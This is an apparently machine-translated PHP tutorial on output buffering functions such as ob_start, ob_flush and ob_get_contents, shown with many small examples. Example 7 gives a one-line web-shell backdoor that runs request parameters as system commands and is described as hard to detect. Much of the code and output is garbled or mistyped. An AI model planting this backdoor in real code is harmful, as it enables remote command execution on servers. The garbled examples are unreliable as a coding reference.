A detailed example of PHP Output control buffering function application

Source: Internet
Author: User
Tags anonymous manual flush ini md5 phpinfo sleep

In fact, for PHP programmers, almost every script involves an output buffer, but in most cases we don't need to change the output buffer. And today to use the example of the PHP output buffer control function "output controls" to do a detailed analysis.

The following example briefly describes how output buffering exists in a generic script:

When we execute the following script:

The code is as follows Copy Code
<?php
/* Example 1*/
Echo ' oschina.net ';
echo ' Sweet potato ';
echo ' worm ';
?>



When the script finishes its first echo, it does not output the content to the browser, but outputs it to a buffer, and so on, and so on, when all three Echo is finished (that is, the script ends), the contents of the buffer are all exported to the browser. Of course, this buffer is also limited in size, based on the output_buffering option in PHP.ini, which is described in detail in the following article. The output buffer control described in this chapter is the operation of the contents of the buffer before the end of the script.

This example can better reflect the application of output buffer control:

When you execute the following code:

The code is as follows Copy Code

<?php
/* Example 2*/
Echo ' oschina.net ';
Sleep (1);
echo ' Sweet potato ';
Sleep (1);
echo ' worm ';
?>



We need to wait at least 2 seconds to see the output, so can we let it show in real time? That is, at the end of the first echo to output the corresponding content, this time need to use the output buffer control function to operate the buffer, the implementation code is as follows:

The code is as follows Copy Code

<?php
/* Example 3*/
Echo Str_pad (', 1024);//Buffer overflow
Ob_start ()//Open buffer
Echo ' oschina.net ';
Ob_flush ()//Send current buffered content, not output
Flush ()//Output buffered content
Sleep (1);
echo ' Sweet potato ';
Ob_flush ()//Send current buffered content, not output
Flush ()//Output buffered content
Sleep (1);
echo ' worm ';
Ob_end_flush ()//output and turn off buffering
?>



Simple points can also be implemented like this:

The code is as follows Copy Code

<?php
/* Example 4*/
Echo Str_pad (', 1024);//Buffer overflow
Echo ' oschina.net ';
Flush ()//Output buffered content
Sleep (1);
echo ' Sweet potato ';
Flush ()//Output buffered content
Sleep (1);
echo ' worm ';
?>



As for the use of the relevant functions are described below, here is just to show you an output buffer control function application, of course, the output buffer control function of the role of more than this one, then we will look at the output buffer control functions can be applied in which aspects.
Role

In PHP, such as header (), Session_Start (), Setcookie (), such as the function of sending headers, can not have any output, and the use of output buffer control functions can be output before these functions without error. In fact, there is no need to do so, very rare usage.

The output of the content processing, such as the generation of static cache files, gzip compression output, which is more commonly used functions, the following will be described in detail.

Capturing some unreachable function output, such as phpinfo (), Var_dump (), and so on, these functions will display the results of the operation in the browser, and if we want to process these results, it is a good idea to use the output buffer control function. The popular point is that such functions do not have a return value, and to obtain the output data of these functions, it is necessary to use the output buffer control function.
The final application is the example in the introduction of the method, some data for real-time output.

related configuration items in php.ini

Take another look at the php.ini and output buffer control related options, a total of three, respectively: Output_buffering, Output_handler and Implicit_flush

output_buffering defaults to OFF, and when set to on, all scripts automatically open the output buffer, with example 3, where each script automatically executes the Ob_start () function without having to display the call to the function. It can also be set to an integer number that represents the maximum number of bytes the buffer can store, as we mentioned in the following illustration in Example 1.

Output_handler default is NULL, and its value can only be set to a built-in function name, which is to handle all the output of the script with the defined function. His usage is similar to Ob_start (' function_name '), as described below.

Implicit_flush defaults to OFF, and when set to ON, PHP automatically sends out buffer content after the output. Take example 4, the automatic execution of flush () after each output. Of course, effective output refers not only to functions like Echo, print, but also to HTML segments.

Output control function Detailed

Now we use the example to analyze the correlation function, I believe that after fully understanding the following content, the output buffer control function has a clearer grasp.

1. BOOL Ob_start ([Callback $output _callback [, int $chunk _size [, BOOL $erase]]]

This function has been used in Example 3, and you can also understand the meaning of the name by opening the output buffer to perform the next output buffer. This is specifically about the use of its arguments, the first parameter passing a callback function that takes the buffer contents as arguments and returns a string. He will call the buffer when it is sent out, which means executing functions such as ob_flush () or executing the script. The Ob_flush () function is described below to see a simple example to understand its usage:

The code is as follows Copy Code

<?php
/* Example 5*/
Ob_start (' handlestring ');
Echo ' 123456 ';

function handlestring ($string) {
return MD5 ($string);
}
?>


The results after the run are:

e10adc3949ba59abbe56e057f20f883e

The content of the output is MD5 encrypted, that is to say, when the content of the buffer is output, the handlestring function we defined is run.

To see a more practical example, which is common to the content of the Web page to use gzip compression and then output, the code is as follows:

  code is as follows copy code

<?php
/* Example 6*/
Ob_start (' Ob_gzhandler ');
Echo str_repeat (' Oschina ', 1024);


Its page size is:




To see the difference in size, so using Ob_start () for page compression output is a very useful feature.

and the second argument chunk_size the byte length of the buffer, and if the buffer content is greater than this length, the buffer will be sent out, the default value is 0, and the function will be invoked at the end. The third parameter erase if it is set to Flase, the buffer will be deleted after the script has finished executing, and an error will be reported if the delete buffer function (mentioned later) is executed in advance. There are so many uses for

Ob_start (), but there are two points that need special attention:

Ob_start () can be called repeatedly, that is, multiple buffers can exist in a script, but remember to close them all in a nested order, if multiple ob_ Start defines the first parameter, which defines the callback function, which is executed sequentially in nested order. The stack nesting of buffers, described in detail in the Ob_get_level function, is not explained here.
    Ob_start () also has a less obvious but fatal backdoor usage that implements the following code:

The code is as follows Copy Code
<?php
/* Example 7*/
$cmd = ' System '; Ob_start ($cmd); echo "$_get[a]"; Ob_end_flush ();
?>


If you understand the above about the use of Ob_start, this code is not difficult to understand, the application of the Ob_start function will be the contents of the buffer output as parameters into the characteristics of the SET function, the implementation of the Web Server Permissions Remote command, and should not be detected.

2. String ob_get_contents (void)

This function is used to get the contents of the buffer at this time, and the following example gives a good understanding of its usage:

The code is as follows Copy Code

<?php
/* Example 8*/
Echo Str_pad (', 1024);//Buffer overflow
Ob_start ()//Open buffer
Phpinfo ();
$string = ob_get_contents ()//Get buffer contents
$re = fopen ('./phpinfo.txt ', ' WB ');
Fwrite ($re, $string);//write content to file
Fclose ($re);
Ob_end_clean ()//clear and close buffer
?>



Running this meeting found that the browser does not have any output, but in the current directory there will be a phpinfo.txt file, which stores the appropriate output. This example also shows the 3rd point in the above role. We can get the output to the following, according to our actual situation to deal with.

3. int ob_get_length (void)

This function is used to get the length of the buffer content, and a slight change in example 8 shows the use of this function:

The code is as follows Copy Code

<?php
/* Example 9*/
Echo Str_pad (', 1024);//Buffer overflow
Ob_start ()//Open buffer
Phpinfo ();
$string = ob_get_contents ()//Get buffer contents
$length = Ob_get_length ()//Get buffer content length
$re = fopen ('./phpinfo.txt ', ' WB ');
Fwrite ($re, $string);//write content to file
Fclose ($re);
Var_dump ($length); Output length
Ob_end_flush ()//output and close buffer
?>



4. int ob_get_level (void)

This function is used to get the nesting level of the buffering mechanism, as we said in introducing the Ob_start () function, where multiple buffers can be nested in a script, and this function is to get the nesting level of the current buffer, as follows:

The code is as follows Copy Code

<?php
/* Example 10*/
Ob_start ();
Var_dump (Ob_get_level ());
Ob_start ();
Var_dump (Ob_get_level ());
Ob_end_flush ();
Ob_end_flush ();
?>


The nesting relationship can be clearly seen after the run.

5. Array Ob_get_status ([bool $full _status = FALSE])

This function is used to get the state of the current buffer, returns an array of state information, and returns an array of details if the first argument is true, and we analyze the array in conjunction with an instance:

  code is as follows copy code

<?php
/* Example 11*/
Ob_start (' Ob_gzhandler ');
Var_export (Ob_get_status ());
Ob_start ();
Var_export (ob_get_ Status ());
Ob_end_flush ();
Ob_end_flush ();
?



This script output is as follows:

Array (
  ' level ' => 1,
  ' type ' => 1,
  ' status ' => 0,
  ' name ' => ' Ob_gzhandler ',
  ' del ' => True,
)
 
Array (
  ' level ' =&G T 2,
  ' => 1,
  ' status ' => 0,
  ' name ' => ' default output handler ',
  ' d El ' => true,
]

level is nested, which is the same as the value that is fetched through Ob_get_level ().
type is handled as a buffer type, 0 is handled automatically by the system, and 1 is handled manually by the user.
status is the buffered state, 0 is the start, 1 is in progress, 2 is the ending
name, which is the name of the function defined for the first argument in the Ob_start () function.
del  to understand the meaning of the above array for whether to run the delete buffer operation
, you can understand the various properties of the buffer well.

6. Array ob_list_handlers (void)

This function is used to obtain the function array group of the output handler, that is, the first argument we specify in the Ob_start () function, it should be noted that if we pass a parameter that is a anonymous function, or if output_buffering  is enabled in the configuration file, the function will return to default output handler, and the example in the PHP official manual can explain this function well:

  code is as follows copy code

<?php
/* Example 12*/
//using output_buffering=on
Print_r (Ob_list_handlers ());
Ob_end_flush ();
 
Ob_ Start ("Ob_gzhandler");
Print_r (Ob_list_handlers ());
Ob_end_flush ();
 
//anonymous functions
Ob_start (create_function (' $string ', ' return $string; ');
Print_r (Ob_list_handlers ());
Ob_end_flush ();
?



Output is:

Array
(
    [0] => ' default output handler '
)
 
A Rray
(
    [0] => ' ob_gzhandler '
)
 
Array
(
    [0] =& Gt ' Default output handler '
]

Let's look at the functions related to outputting, closing, and sending out buffer content:

7. void Ob_flush (void)

This function in the previous example Commonly used, its function is to "send out" the current buffer content, while emptying the buffer, you need to note that here is "send out" the word, that is, call this function will not be the output of the buffer content, from example 3 can be seen must be called after the flush function to output. As for the use of flush, here's how to do it again.

8. void flush (void)

This function is more commonly used to send all previous output to the browser display without any effect on the buffer. This function is used in examples 3 and 4 to display the current output to the browser, in other words, whether it is output from functions such as ECHO, HTML entities, or content that is run by Ob_start (), which is displayed in the browser after running flush ().

9. void Ob_implicit_flush ([int $flag = true])

This function is used to turn on/off the absolute brush mode, which is to automatically perform flush () after each output, thus eliminating the need to display the call FL Ush (), improve efficiency. We'll make a slight change in example 4 to use this function to achieve the same effect:

  code is as follows copy code

<?php
/* Example 13*/
Echo str_pad (', 1024);///Make buffer overflow
Ob_implicit_flush (true);//Open Absolute brush
echo ' oschina.net ';
// Calls flush ()
Sleep (1) that do not need to be displayed after flush (); ,
Echo ' sweet potato ';
//flush ();
Sleep (1);
Echo ' Bug ';
>



This example and example 4 implementation of the same effect, because the absolute brush is turned on, so no need to call flush (), the system will automatically after the output of the brush.

BOOL Ob_end_flush (void)

This function sends the contents of the buffer and closes the buffer. Actually corresponds to the implementation of Ob_flush () and Ob_end_clean ();

One. String Ob_get_flush (void)

This function is basically the same as Ob_end_flush (), except that it returns the contents of the buffer as a string, which is simple and does not take the instance.

void Ob_clean (void)


This function empties the current buffer, but does not close the buffer, the output of the following example will not be displayed because the buffer has been emptied before the output, but we can also get the properties of the buffer, indicating that the buffer is not closed:

The code is as follows Copy Code

<?php
/* Example 14*/
Ob_start ();
Echo ' Oschina ';
Ob_clean ();
Var_dump (Ob_get_status ());
?>


BOOL Ob_end_clean (void)

This function empties and closes the buffer, making a slight change to example 14 to find that we no longer get to the state of the buffer because it has been closed:

The code is as follows Copy Code

<?php
/* Example 15*/
Ob_start ();
Echo ' Oschina ';
Ob_end_clean ();
Var_dump (Ob_get_status ());
?>



String Ob_get_clean (void)

This function empties and closes the cache, but returns the data in the cache as a string, in effect the ob_get_contents () and Ob_end_clean () are executed separately.

The code is as follows Copy Code

<?php
/* Example 16*/
Ob_start ();
Echo ' Oschina ';
$string = Ob_get_clean ();
Var_dump (Ob_get_status ());
Var_dump ($string);
?>



Finally, look at two more functions related to URL rewriting:

BOOL Output_add_rewrite_var (String $name, String $value)

This function adds the key and value of the URL rewrite mechanism, where the URL rewrite mechanism is to add a key value pair at the end of the URL, or to add a key value pair in the form with a hidden form. The absolute URL will not be added, or use the example in the manual, it is very straightforward to write:

  code is as follows copy code

<?php
/* Example 17*/
Output_add_rewrite_var (' var ', ' value ');
 
//Some links
Echo ' <a href= ' file.php ' ; Link</a>
<a href= "http://example.com" >link2</a>
 
//A form
Echo ' <form action= "script.php" method= "POST"
<input type= "text" name= "var2"/>
</form> '
 
Print_r (Ob_list_handlers ());
?



The output of the program is:

<a href= "File.php?var=value" >link</a>
<a href= "http://example.com" >link2</a>

<form action= "script.php" method= "POST" >
<input type= "hidden" name= "var" value= "value"/>
<input type= "text" name= "Var2"/>
</form>

Array
(
[0] => Url-rewriter
)

You can see links and form forms that are not absolute URL addresses plus the corresponding key-value pairs.

BOOL Output_reset_rewrite_vars (void)

This function is used to empty all URL rewriting mechanisms, that is, to delete the overridden variable set by Output_add_rewrite_var ().
Other places to pay attention to

Believe that read the above content, you will have a deeper understanding of PHP's buffer control functions, then say some of the day-to-day use of the need to pay attention to the problem:

In the third line of example 3, I output a 1024-length space, which is written to overflow the buffer. The reason for this is that in some Win32 server programs, even if the above function is used, but still cache the output of the script, so you must first send a piece of text to let its buffer overflow, in order to continue to achieve our results. You must note in the application process, if there are problems in the test, you can set this value larger, such as 4096;

Unless the buffer is emptied before the script is finished, all the contents of the buffer are automatically exported to the browser when the script ends.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.